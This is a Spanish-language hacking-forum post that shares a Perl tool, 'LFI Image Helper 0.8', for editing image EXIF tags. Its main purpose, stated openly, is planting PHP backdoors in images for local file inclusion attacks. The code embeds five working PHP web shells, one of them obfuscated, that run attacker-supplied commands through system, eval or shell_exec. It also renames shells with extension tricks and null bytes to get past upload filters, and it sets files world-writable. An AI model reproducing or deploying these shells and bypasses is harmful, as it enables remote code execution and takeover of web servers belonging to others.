elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] LFI Image Helper 0.8
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] LFI Image Helper 0.8  (Leído 1,790 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] LFI Image Helper 0.8
« en: 8 Mayo 2015, 15:57 pm »

Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

El codigo :

Código
  1. #!usr/bin/perl
  2. #LFI Image Helper 0.8
  3. #(C) Doddy Hackman 2015
  4. #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
  5. #
  6. #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
  7. #Thanks to Hood3dRob1n
  8. #
  9. #Dump Values
  10. #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
  11. #Thanks to Ken Slater
  12. #
  13. use Image::ExifTool;
  14. use Getopt::Long;
  15. use Color::Output;
  16. Color::Output::Init;
  17.  
  18. my @shells = (
  19.  
  20.    {},
  21.  
  22.    {
  23.  
  24.        "nombre"  => "Simple Backdoor",
  25.        "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
  26.        "ejemplo" => "?cmd="
  27.  
  28.    },
  29.    {
  30.  
  31.        "nombre" => "System Shell",
  32.        "codigo" =>
  33. '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
  34.        "ejemplo" => "?cmd="
  35.  
  36.    },
  37.    {
  38.  
  39.        "nombre" => "Eval Shell",
  40.        "codigo" =>
  41. '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
  42.        "ejemplo" => "?cmd="
  43.  
  44.    },
  45.    {
  46.  
  47.        "nombre" => "Sneaky Shell",
  48.        "codigo" =>
  49. '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
  50.        "ejemplo" => "?0="
  51.  
  52.    },
  53.    {
  54.  
  55.        "nombre" => "r0ng Shell",
  56.        "codigo" =>
  57.          '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
  58.        "ejemplo" => "?r0ng="
  59.  
  60.    }
  61.  
  62. );
  63.  
  64. GetOptions(
  65.    "dump_all=s"   => \$dump_all,
  66.    "dump_tags=s"  => \$dump_tags,
  67.    "read_tag=s"   => \$read_tag,
  68.    "tag=s"        => \$tag,
  69.    "make_tag=s"   => \$make_tag,
  70.    "value=s"      => \$value,
  71.    "update_tag=s" => \$update_tag,
  72.    "delete_tag=s" => \$delete_tag,
  73.    "backdoor=s"   => \$backdoor,
  74.    "bypass=s"     => \$bypass,
  75.    "file=s"       => \$file
  76. );
  77.  
  78. head();
  79.  
  80. if ($dump_all) {
  81.  
  82.    if ( -f $dump_all ) {
  83.        printear_titulo("[+] Finding information in : ");
  84.        print $dump_all. "\n\n";
  85.        dump_all($dump_all);
  86.    }
  87.    else {
  88.        printear("[-] File not found\n");
  89.    }
  90.  
  91. }
  92. elsif ($dump_tags) {
  93.  
  94.    if ( -f $dump_tags ) {
  95.        printear_titulo("[+] Finding tags in : ");
  96.        print $dump_tags. "\n\n";
  97.        dump_tags($dump_tags);
  98.    }
  99.    else {
  100.        printear("[-] File not found\n");
  101.    }
  102. }
  103. elsif ($read_tag) {
  104.  
  105.    if ( -f $read_tag ) {
  106.        printear_titulo("[+] Finding tag value of $tag in : ");
  107.        print $read_tag. "\n\n";
  108.        read_tag( $read_tag, $tag );
  109.    }
  110.    else {
  111.        printear("[-] File not found\n");
  112.    }
  113.  
  114. }
  115.  
  116. elsif ($make_tag) {
  117.  
  118.    if ( -f $make_tag ) {
  119.  
  120.        printear_titulo("[+] Photo : ");
  121.        print $make_tag. "\n";
  122.        printear_titulo("[+] Name : ");
  123.        print $tag. "\n";
  124.        printear_titulo("[+] Value : ");
  125.        print $value. "\n\n";
  126.  
  127.        printear("[+] Making tag $tag ...\n\n");
  128.  
  129.        make_tag( $make_tag, $tag, $value );
  130.  
  131.    }
  132.    else {
  133.        printear("[-] File not found\n");
  134.    }
  135. }
  136. elsif ($update_tag) {
  137.  
  138.    if ( -f $update_tag ) {
  139.  
  140.        printear_titulo("[+] Photo : ");
  141.        print $update_tag. "\n";
  142.        printear_titulo("[+] Name : ");
  143.        print $tag. "\n";
  144.        printear_titulo("[+] Value : ");
  145.        print $value. "\n\n";
  146.  
  147.        printear("[+] Updating tag $tag ...\n\n");
  148.  
  149.        update_tag( $update_tag, $tag, $value );
  150.  
  151.    }
  152.    else {
  153.        printear("[-] File not found\n");
  154.    }
  155. }
  156. elsif ($delete_tag) {
  157.  
  158.    if ( -f $delete_tag ) {
  159.        printear_titulo("[+] Deleting tag $tag in : ");
  160.        print $delete_tag. "\n\n";
  161.        delete_tag( $delete_tag, $tag );
  162.    }
  163.    else {
  164.        printear("[-] File not found\n");
  165.    }
  166.  
  167. }
  168. elsif ($backdoor) {
  169.  
  170.    if ( -f $backdoor ) {
  171.  
  172.        printear_titulo("[+] Photo : ");
  173.        print $backdoor. "\n\n";
  174.  
  175.        printear("[+] 1 : ");
  176.        print "Simple Backdoor\n";
  177.        printear("[+] 2 : ");
  178.        print "System Shell\n";
  179.        printear("[+] 3 : ");
  180.        print "Eval Shell\n";
  181.        printear("[+] 4 : ");
  182.        print "Sneaky Shell\n";
  183.        printear("[+] 5 : ");
  184.        print "r0ng Shell\n";
  185.  
  186.        printear_titulo("\n[+] Option : ");
  187.        chomp( my $opcion = <stdin> );
  188.  
  189.        backdoor_tag( $backdoor, $opcion, $file );
  190.  
  191.    }
  192.    else {
  193.        printear("[-] File not found\n");
  194.    }
  195.  
  196. }
  197. elsif ($bypass) {
  198.  
  199.    if ( -f $bypass ) {
  200.  
  201.        my $source = readfile($bypass);
  202.  
  203.        printear_titulo("[+] PHP Shell : ");
  204.        print $bypass. "\n\n";
  205.  
  206.        printear("[+] 1 : ");
  207.        print "bypass.jpg.php\n";
  208.        printear("[+] 2 : ");
  209.        print "bypass.php;test.jpg\n";
  210.        printear("[+] 3 : ");
  211.        print "bypass.php%00.jpg\n";
  212.  
  213.        printear_titulo("\n[+] Option : ");
  214.        chomp( my $opcion = <stdin> );
  215.  
  216.        if ( $opcion eq "1" ) {
  217.            savefile( $file . ".jpg.php", $source );
  218.            chmod 0777, $file . ".jpg.php";
  219.        }
  220.        elsif ( $opcion eq "2" ) {
  221.            savefile( $file . ".php;test.jpg", $source );
  222.            chmod 0777, $file . ".php;test.jpg";
  223.        }
  224.        elsif ( $opcion eq "3" ) {
  225.            savefile( $file . ".php%00.jpg", $source );
  226.            chmod 0777, $file . ".php%00.jpg";
  227.        }
  228.        else {
  229.            savefile( $file . ".jpg.php", $source );
  230.            chmod 0777, $file . ".jpg.php";
  231.        }
  232.  
  233.        printear("\n[+] PHP Shell Bypassed\n");
  234.  
  235.    }
  236.    else {
  237.        printear("\n[-] File not found\n");
  238.    }
  239.  
  240. }
  241. else {
  242.    sintax();
  243. }
  244.  
  245. copyright();
  246.  
  247. # Functions
  248.  
  249. sub backdoor_tag {
  250.  
  251.    my $image  = $_[0];
  252.    my $opcion = $_[1];
  253.    my $final  = $_[2];
  254.  
  255.    my $tag     = "Model";
  256.    my $nombre  = $shells[$opcion]->{nombre};
  257.    my $valor   = $shells[$opcion]->{codigo};
  258.    my $ejemplo = $shells[$opcion]->{ejemplo};
  259.  
  260.    printear("\n[+] Backdoor Name : ");
  261.    print "$nombre\n";
  262.    printear("[+] Backdoor Example : ");
  263.    print "$ejemplo\n";
  264.  
  265.    my $datos_imagen       = new Image::ExifTool;
  266.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  267.  
  268.    $datos_imagen->SetNewValue( $tag, $valor );
  269.  
  270.    unlink($final);
  271.  
  272.    $ok = $datos_imagen->WriteInfo( $image, $final );
  273.  
  274.    if ( $ok eq "1" ) {
  275.        printear_titulo("\n[+] Backdoor : ");
  276.        print "OK\n";
  277.        chmod 0777, $final;
  278.    }
  279.    else {
  280.        printear_titulo("\n[-] Backdoor: ");
  281.        print "Error\n";
  282.    }
  283.  
  284. }
  285.  
  286. sub delete_tag {
  287.  
  288.    my $imagen_target = $_[0];
  289.    my $tag           = $_[1];
  290.  
  291.    my $datos_imagen       = new Image::ExifTool;
  292.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  293.  
  294.    $datos_imagen->SetNewValue( $tag, undef );
  295.  
  296.    $ok = $datos_imagen->WriteInfo($imagen_target);
  297.  
  298.    if ( $ok eq "1" ) {
  299.        printear_titulo("[+] Tag $tag : ");
  300.        print "Deleted\n";
  301.    }
  302.    else {
  303.        printear_titulo("[-] Tag $tag : ");
  304.        print "Error\n";
  305.    }
  306.  
  307. }
  308.  
  309. sub update_tag {
  310.  
  311.    my $image = $_[0];
  312.    my $tag   = $_[1];
  313.    my $valor = $_[2];
  314.  
  315.    my $datos_imagen       = new Image::ExifTool;
  316.    my $informacion_imagen = $datos_imagen->ImageInfo($image);
  317.  
  318.    $datos_imagen->SetNewValue( $tag, $valor );
  319.  
  320.    $ok = $datos_imagen->WriteInfo($image);
  321.  
  322.    if ( $ok eq "1" ) {
  323.        printear_titulo("[+] Tag $tag : ");
  324.        print "Updated\n";
  325.    }
  326.    else {
  327.        printear_titulo("[-] Tag $tag : ");
  328.        print "Error\n";
  329.    }
  330.  
  331. }
  332.  
  333. sub make_tag {
  334.  
  335.    my $image = $_[0];
  336.    my $name  = $_[1];
  337.    my $value = $_[2];
  338.  
  339.    my $poc = Image::ExifTool->new();
  340.  
  341.    $poc->ExtractInfo($image);
  342.    $poc->SetNewValue( $name, $value );
  343.  
  344.    $ok = $poc->WriteInfo($image);
  345.  
  346.    if ( $ok eq "1" ) {
  347.        printear_titulo("[+] Tag $name : ");
  348.        print "Created\n";
  349.    }
  350.    else {
  351.        printear_titulo("[-] Tag $name : ");
  352.        print "Error\n";
  353.    }
  354.  
  355. }
  356.  
  357. sub read_tag {
  358.  
  359.    $imagen_target = $_[0];
  360.    $tag           = $_[1];
  361.  
  362.    my $datos_imagen       = new Image::ExifTool;
  363.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  364.  
  365.    $valor = $datos_imagen->GetValue($tag);
  366.  
  367.    if ( $valor eq "" ) {
  368.        printear("[-] Tag not found\n");
  369.    }
  370.    else {
  371.        printear("[+] $tag : ");
  372.        print $valor. "\n";
  373.    }
  374.  
  375. }
  376.  
  377. sub dump_tags {
  378.  
  379.    my $imagen_target = $_[0];
  380.  
  381.    my $datos_imagen       = new Image::ExifTool;
  382.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  383.  
  384.    @tags = $datos_imagen->GetFoundTags("File");
  385.  
  386.    for my $tag (@tags) {
  387.        printear("[+] Tag : ");
  388.        print $tag. "\n";
  389.    }
  390.  
  391. }
  392.  
  393. sub dump_all {
  394.  
  395.    my $imagen_target = $_[0];
  396.  
  397.    my $datos_imagen       = new Image::ExifTool;
  398.    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
  399.  
  400.    for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
  401.        my $valor = $informacion_imagen->{$abriendo_imagen};
  402.        printear("[+] $abriendo_imagen : ");
  403.        print $valor. "\n";
  404.    }
  405.  
  406. }
  407.  
  408. sub savefile {
  409.    open( SAVE, ">>" . $_[0] );
  410.    print SAVE $_[1] . "\n";
  411.    close SAVE;
  412. }
  413.  
  414. sub readfile {
  415.    open my $FILE, q[<], $_[0];
  416.    my $word = join q[], <$FILE>;
  417.    close $FILE;
  418.    return $word;
  419. }
  420.  
  421. sub printear {
  422.    cprint( "\x036" . $_[0] . "\x030" );
  423. }
  424.  
  425. sub printear_logo {
  426.    cprint( "\x037" . $_[0] . "\x030" );
  427. }
  428.  
  429. sub printear_titulo {
  430.    cprint( "\x0310" . $_[0] . "\x030" );
  431. }
  432.  
  433. sub sintax {
  434.  
  435.    printear("[+] Sintax : ");
  436.    print "perl $0 <option> <value>\n";
  437.    printear("\n[+] Options : \n\n");
  438.    print "-dump_all <image> : Get all information of a image\n";
  439.    print "-dump_tags <image> : Get all tags of a image\n";
  440.    print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
  441.    print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
  442.    print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
  443.    print "-delete_tag <image> -tag <tag> : Delete tag\n";
  444.    print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
  445.    print
  446. "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
  447.    printear("\n[+] Example : ");
  448.    print "perl lfi_image_helper.pl -dump_all test.jpg\n";
  449.    copyright();
  450. }
  451.  
  452. sub head {
  453.    printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
  454. }
  455.  
  456. sub copyright {
  457.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  458.    exit(1);
  459. }
  460.  
  461. sub toma {
  462.    return $nave->get( $_[0] )->content;
  463. }
  464.  
  465. #The End ?
  466.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Tool] Sql injection Helper 2.0 « 1 2 »
Nivel Web
fede_cp 15 11,132 Último mensaje 29 Noviembre 2009, 20:21 pm
por Castg!
Problema con SQLI Helper
Hacking
Nardo[N] 5 5,802 Último mensaje 24 Febrero 2011, 04:32 am
por Nardo[N]
[Perl] Exploit DB Helper 0.5
Scripting
BigBear 0 1,465 Último mensaje 30 Septiembre 2012, 19:33 pm
por BigBear
[Perl Tk] Exploit DB Helper 0.5
Scripting
BigBear 0 1,704 Último mensaje 30 Septiembre 2012, 19:34 pm
por BigBear
Flickr CC Attribution Helper
Noticias
wolfbcn 0 1,188 Último mensaje 3 Noviembre 2012, 14:57 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines